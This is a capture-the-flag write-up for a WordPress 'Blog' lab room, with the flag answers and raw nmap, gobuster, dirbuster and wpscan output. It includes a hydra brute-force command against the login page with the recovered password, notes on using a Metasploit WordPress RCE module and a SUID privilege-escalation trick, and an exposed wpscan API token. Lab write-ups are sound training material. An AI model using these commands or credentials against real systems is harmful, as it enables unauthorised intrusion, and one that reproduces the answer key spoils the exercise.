Blog

Blog

Billy Joel made a Wordpress blog!

[Task 1] Blog

Billy Joel made a blog on his home computer and has started working on it. It's going to be so awesome! Enumerate this box and find the 2 flags that are hiding on it! Billy has some weird things going on his laptop. Can you maneuver around and get what you need? Or will you fall down the rabbit hole...

In order to get the blog to work with AWS, you'll need to add blog.thm to your /etc/hosts file.

#1

root.txt

9a0b2b618bef9bfa7ac28c1353d9f318

#2

user.txt

c8421899aae571f7af486492b71a8ab7

#3

Where was user.txt found?

/media/usb

#4

What CMS was Billy using?

wordpress

#5

What version of the above CMS was being used?

5.0

[Task 2] Credits

The images used in this room have been used with the author's permission or in accordance with Section 107 of the U.S. Copyright Act.

#1

Congratulations!

No answer needed

writeup

IP Address: 10.10.244.168

-added blog.thm to hosts file
-ran Nmap scan on host
-ran dirbuster and gobuster to find hidden directories like /wp-admin/
-found login
-found username bjoel when running wpscan
-try brute-forcing, with little success
-also found user ‘kwheel’
-ran bruteforce against kwheel user:

```
hydra -l kwheel -P /home/taj702/Desktop/wordlists/rockyou.txt 10.10.33.143 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.thm%2Fwp-
```

```
admin%2F&testcookie=1:F=The password you entered for the username" -V
 [80][http-post-form] host: 10.10.33.143   login: kwheel   password: cutiepie1
1 of 1 target successfully completed, 1 valid password found
```

- used metasploit and ‘multi/http/wp_crop_rce’ exploit for Wordpress to get a shell on server
- checked /home/bjoel/user.txt and it is not the flag
- flag is in /media/usb but requires root
- found /usr/sbin/checker that runs bash as root, and noticed that if I change admin variable I'll get root
- ran it with admin=1 and got root
- ran ‘cat /media/usb/user.txt’ and ‘cat /root/root.txt’ and got both flags

```
cat user.txt
c8421899aae571f7af486492b71a8ab7
cat /root/root.txt
9a0b2b618bef9bfa7ac28c1353d9f318
```

scans

nmap

```
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)


No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/15%OT=22%CT=7%CU=37223%PV=Y%DS=4%DC=I%G=Y%TM=5F0F232
OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=104%GCD=2%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O
OS:3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=
OS:F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

busters

gobuster:

```
-----------------------------------------------------------------------------------------------------------------
/rss (Status: 301)
/login (Status: 302)
/0 (Status: 301)
/feed (Status: 301)
/atom (Status: 301)
/wp-content (Status: 301)
/welcome (Status: 301)
/admin (Status: 302)
```

```
/w (Status: 301)
/n (Status: 301)
/rss2 (Status: 301)
/wp-includes (Status: 301)
/no (Status: 301)
/N (Status: 301)
/W (Status: 301)
/rdf (Status: 301)
/page1 (Status: 301)
/Welcome (Status: 301)
/' (Status: 301)
/dashboard (Status: 302)
/note (Status: 301)
/%20 (Status: 301)
/we (Status: 301)
/2020 (Status: 301)
/wp-admin (Status: 301)
/0000 (Status: 301)
/embed (Status: 301)
/Oasis - 'Definitely Maybe' (Status: 301)
/not (Status: 301)
/! (Status: 301)
/wel (Status: 301)
/yahoo! (Status: 301)
/Check Screenshots! (Status: 301)
/Check All Tracker Features! (Status: 301)
/No (Status: 301)
/Bling! (Status: 301)
/Welcome! (Status: 301)
/server-status (Status: 403)
/b00g! (Status: 301)
/party! (Status: 301)
/leeches! (Status: 301)
/Mac Fishin!!! (Status: 301)
/i deep throat in a thong! (Status: 301)
/new! (Status: 301)
/KeithRankin%20 (Status: 301)
/Naked Gymnastics - This Is How It Should Always Be! (Status: 301)
/nada! (Status: 301)
/Q Are We Not Men A We Are Devo! (Status: 301)
/!index! (Status: 301)
/kaspersky%20 (Status: 301)
/Ping%21 (Status: 301)
```

dirbuster:

Directories found during testing:

Dirs found with a 200 response:

```
/
/0/
/wp-content/
/wp-includes/
/2020/05/
```

Dirs found with a 403 response:

```
/.hta/
/.htaccess/
/.htpasswd/
```

Dirs found with a 302 response:

```
/admin/
/login/
```

Dirs found with a 301 response:

```
/atom/
/0/atom/
/admin/atom/
```

```
/atom/atom/
/rss/
/w/
/n/
/rss2/
/wp-content/rss/

Dirs found with a 403 response:
/icons/

Dirs found with a 408 response:
/data/
/www/
/music/
/s/

Dirs found with a 500 response:
/admin/atom/adlog/
/wp-content/10/
/subscribe/
/admin/logo/
/games/
/print/
/wp-content/links/
/admin/11/
/113/
/admin/privacy/
/wp-content/09/
/wp-content/08/
/27/
/disclaimer/
/2007/
/awards/
/showallsites/
/internet/
/product/
/Images/
/21/
/nav/
/24/
/legal/
/web/
/projects/
/i/
/wiki/
/wp-content/register/
/community/
/image/
/admin/about/
/english/
/wp-content/sitemap/
/19/
/store/
/sports/
/top/
/user/
/26/
/copyright/
/wp-content/01/
/video/
/linux/
/tags/
/Default/
/education/
/stats/
/9/
/blank/
/admin/home/
/tech/
/admin/img/
/23/
```

```
/t/
/gallery/
/2002/
/email/
/topics/
/calendar/
/loading/
/license/
/common/
/feedback/
/admin/blog/
/wp-content/06/
/webmaster/
/29/
/partners/
/applications/
/in/
/navigation/
/forums/
/books/
/graphics/
/admin/new/
/pub/
/tools/
/login/index/
/admin/faq/
/servers/
/admin/cgi-bin/
/admin/10/
/wp-content/img/
/jobs/
/blogs/
/sub/
/stories/
/privacy-policy/
/banner/
/welcome/
/wp-content/1/
/k/
/7/
/pages/
/wp-content/2/
/people/
/clear/
/16/
/25/
/feeds/
/a/
/browser/
/wp-content/support/
/login/contact/
/login/blog/
/members/
/advertise/
/uploads/
/login/privacy/
/login/spacer/
/wp-content/articles/
/wp-content/software/
/admin/keygen/
/admin/05/
/wp-content/en/
/aboutus/
/xml/
/plus/
/feed/
/ipod/
/asp/
/wp-content/content/
/wp-content/14/
/admin/login/
```

```
/speakers/
/admin/07/
/wp-content/downloads/
/admin/articles/
/login/about/
/modules/
/banners/
/0/
/library/
/white/
/mail/
/admin/2/
/wp-content/4/
/atom/
/story/
/login/10/
/premiere/
/wp-content/15/
/wp-content/main/
/wp-content/category/
/wp-content/forum/
/admin/article/
/tuning/
/admin/03/
/popular/
/admin/04/
/login/home/
/buttons/
/login/rss/
/README/
/login/cgi-bin/
/pdf/
/admin/events/
/admin/02/
/wp-content/3/
/login/11/
/wp-content/templates/
/wp-content/services/
/wp-content/press/
/login/default/
/login/faq/
/admin/support/
/down/
--------------------------------
```

Files found during testing:

Files found with a 200 responce:

```
/wp-content/index.php
```

Files found with a 301 responce:

```
/index.php
/admin/index.php
/rss
/login/index.php
```

Files found with a 302 responce:

```
/login
```

Files found with a 403 responce:

```
/.hta.html
/.htaccess.html
/.htpasswd.html
/.hta.php
/.htaccess.php
/.htpasswd.php
/.hta.asp
/.htaccess.asp
/.htpasswd.asp
```

Files found with a 500 responce:

```
/wp-content/01.html
```

```
/login/download.php
/admin/10.php
/keygen
/admin/logo.php
/wp-content/links.html
/wp-content/2005.php
/wp-content/2005
/software.html
/keygen.php
/wp-content/archives.php
/admin/new
/wp-content/archives
/admin/new.php
/forum.html
/wp-content/products.php
/admin/blog.html
/wp-content/products
/03.php
/wp-content/1.html
/wp-content/default.php
/admin/rss.php
/login/crack.php
/wp-content/img
/admin/10
/wp-content/sitemap
/03
/wp-content/06.html
/admin/cgi-bin.html
/downloads.html
/admin/default.php
/admin/home.php
/wp-content/img.php
/login/2006.php
/article
/wp-content/sitemap.html
/login/serial.php
/wp-content/01.php
/admin/privacy.html
/05.php
/admin/faq.php
/admin/new.html
/admin/11.html
/archive
/security.html
/rss/crack.html
/wp-content/rss
/admin/10.html
/admin/img
/en.html
/rss/full.html
/admin/2005.php
/admin/logo.html
/13.html
/category.html
/wp-content/09.html
/rss/warez.html
/admin/faq
/rss/12.html
/wp-content/img.html
/article.php
/login/cgi-bin.php
/02.php
/wp-content/events
/login/news.php
/login/images.php
/support.php
/login/warez
/14
/admin/06.html
/rss/sitemap.html
/wp-content/en.html
```

```
/rss/default.html
/templates
/rss/serial.html
/wp-content/archives.html
/admin/logo
/main.php
/wp-content/archive.html
/rss/about.html
/rss/contact.html
/products.php
/rss/2005.html
/wp-content/03
/wp-content/software.html
/wp-content/04.php
/admin/support
/wp-content/02
/rss/1.html
/wp-content/10.php
/admin/01.html
/14.html
/wp-content/sitemap.php
/rss/privacy.html
/04
/wp-content/08.html
/admin/cgi-bin
/admin/products
/2004.html
/login/download.html
/register
/admin/2.php
/login/2006.html
/admin/05
/admin/07.php
/admin/support.html
/media.php
/04.php
/15.php
/wp-content/en.php
/templates.php
/wp-content/en
/contactus.html
/wp-content/help
/admin/login.html
/login/contact
/admin/keygen
/admin/08.html
/login/11
/wp-content/03.php
/admin/support.php
/files.html
/login/10.php
/resources
/wp-content/cgi-bin.html
/resources.php
/login/12
/admin/login.php
/03.html
/content
/login/sitemap.php
/login/logo
/main
/wp-content/13.html
/rss/archives.html
/3.html
/20.html
/wp-content/02.html
/admin/2.html
/wp-content/forum.html
/wp-content/04
/login/2005.php
/wp-content/08
```

```
/login/products.php
/wp-content/security.html
/wp-content/software
/login/blog
/login/crack.html
/admin/05.html
/admin/keygen.html
/rss/products.html
/wp-content/forum
/wp-content/downloads
/features.html
/page.html
/login/about
/admin/archive
/wp-content/help.php
/15
/icons
/login/10
/login/news.html
/admin/article.php
/wp-content/category.html
/rss/08.html
/admin/03.php
/login/09.php
/16
/login/warez.html
/admin/02
/login/faq.php
/rss/links.html
/wp-content/register.html
/login/full.html
/wp-content/forum.php
/admin/article.html
/admin/events.php
/info.php
/docs.html
/login/archives.php
/2004.php
/admin/04.php
/login/new
/wp-content/4.html
/18
/wp-content/14.html
/admin/archive.php
/login/search
/login/img.php
/admin/help.html
/admin/05.php
/admin/register
/rss/2.html
/login/default.php
/contactus.php
/login/01.php
/admin/forum
/18.php
/login/1.php
/admin/03.html
/profile
/info
/login/links.php
/wp-content/3
/22.html
/login/contact.html
/press
/login/index.html
/admin/events
/admin/02.php
/2.php
/login/serial.html
/21.html
/admin/blog
```

```
/rss/07.html
/wp-content/3.php
/login/full
/login/12.html
/18.html
/rss/articles.html
/misc.html
/2004
/services.php
/login/privacy
/wp-content/archive
/rss/06.html
/19.html
/admin/faq.html
/16.php
/admin/register.php
/wp-content/category.php
/wp-content/security
/admin/en.php
/docs
/rss/01.html
/admin/article
/wp-content/3.html
/wp-content/4.php
/admin/privacy
/atom/ban.html
/atom/atom/_reports.asp
--------------------------------
```

wpscan

```
taj702@kali:~$ wpscan --url http://blog.thm --api-token khgLk8EiIDaj5p5mDfPXUq8KxwVRLPEpwnj6fqZWYiE
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.2
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://blog.thm/ [10.10.244.168]
[+] Started: Wed Jul 15 12:02:08 2020

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://blog.thm/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
```

```
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://blog.thm/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
 |  - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>
 |
 | [!] 32 vulnerabilities identified:
 | [!] Title: WordPress <= 5.0 - Authenticated File Delete
 |     Fixed in: 5.0.1
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9169
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Authenticated Post Type Bypass
 |     Fixed in: 5.0.1
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9170
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
 |
 | [!] Title: WordPress <= 5.0 - PHP Object Injection via Meta Data
 |     Fixed in: 5.0.1
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9171
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)
 |     Fixed in: 5.0.1
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9172
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
 |     Fixed in: 5.0.1
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9173
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
 |
 | [!] Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
 |     Fixed in: 5.0.1
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9174
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |
 | [!] Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers
 |     Fixed in: 5.0.1
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9175
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
 |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
 |      - https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a
 |
 | [!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
 |     Fixed in: 5.0.1
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9222
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943
 |      - https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
 |      - https://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce
 |
 | [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
 |     Fixed in: 5.0.4
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9230
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
 |      - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
 |      - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
 |      - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
 |
 | [!] Title: WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation
 |     Fixed in: 5.0.6
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9867
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16222
 |      - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68
 |      - https://hackerone.com/reports/339483
 |
 | [!] Title: WordPress 5.0-5.2.2 - Authenticated Stored XSS in Shortcode Previews
 |     Fixed in: 5.0.6
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9864
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16219
 |      - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
 |      - https://fortiguard.com/zeroday/FG-VD-18-165
 |      - https://www.fortinet.com/blog/threat-research/wordpress-core-stored-xss-vulnerability.html
 |
 | [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
 |     Fixed in: 5.0.7
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9908
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-
breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
 |     Fixed in: 5.0.7
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9909
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-
breakdown.html
 |      - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
 |      - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
 |
 | [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags
 |     Fixed in: 5.0.7
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9910
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-
breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning
 |     Fixed in: 5.0.7
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9911
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de
 |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-
breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation
 |     Fixed in: 5.0.7
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9912
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2
 |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-
breakdown.html
 |
 | [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation
 |     Fixed in: 5.0.7
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9913
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0
 |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-
breakdown.html
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Improper Access Controls in REST API
 |     Fixed in: 5.0.8
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9973
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links
 |     Fixed in: 5.0.8
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9975
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16773
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://hackerone.com/reports/509930
 |      - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7
 |
 | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content
 |     Fixed in: 5.0.8
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9976
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v
 |
 | [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass
 |     Fixed in: 5.0.8
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10004
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041
 |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53
 |
 | [!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated
 |     Fixed in: 5.0.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10201
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11027
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47634/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-
security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw
 |
 | [!] Title: WordPress < 5.4.1 - Unauthenticated Users View Private Posts
 |     Fixed in: 5.0.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10202
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11028
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47635/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-
security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w
 |
 | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer
 |     Fixed in: 5.0.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10203
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11025
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47633/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-
security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c
 |
 | [!] Title: WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache
 |     Fixed in: 5.0.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10205
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11029
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47637/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-
security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c
 |
 | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads
 |     Fixed in: 5.0.9
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10206
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11026
 |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
 |      - https://core.trac.wordpress.org/changeset/47638/
 |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-
security-update/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2
 |
 | [!] Title: WordPress <= 5.2.3 - Hardening Bypass
 |     Fixed in: 5.0.7
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10259
 |      - https://blog.ripstech.com/2020/wordpress-hardening-bypass/
 |      - https://hackerone.com/reports/436928
 |      - https://wordpress.org/news/2019/11/wordpress-5-2-4-update/
 |
 | [!] Title: WordPress < 5.4.2 - Authenticated XSS via Media Files
 |     Fixed in: 5.0.10
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10264
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4047
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-8q2w-5m27-wm27
 |
 | [!] Title: WordPress < 5.4.2 - Open Redirection
 |     Fixed in: 5.0.10
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10265
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4048
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/10e2a50c523cf0b9785555a688d7d36a40fbeccf
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-q6pw-gvf4-5fj5
 |
 | [!] Title: WordPress < 5.4.2 - Authenticated XSS via Theme Upload
 |     Fixed in: 5.0.10
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10266
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4049
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-87h4-phjv-rm6p
 |
 | [!] Title: WordPress < 5.4.2 - Misuse of set-screen-option Leading to Privilege Escalation
 |     Fixed in: 5.0.10
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/10267
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4050
 |      - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
 |      - https://github.com/WordPress/WordPress/commit/dda0ccdd18f6532481406cabede19ae2ed1f575d
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4vpv-fgg2-gcqc
 |
 | [!] Title: WordPress < 5.4.2 - Disclosure of Password-Protected Page/Post Comments
 |     Fixed in: 5.0.10
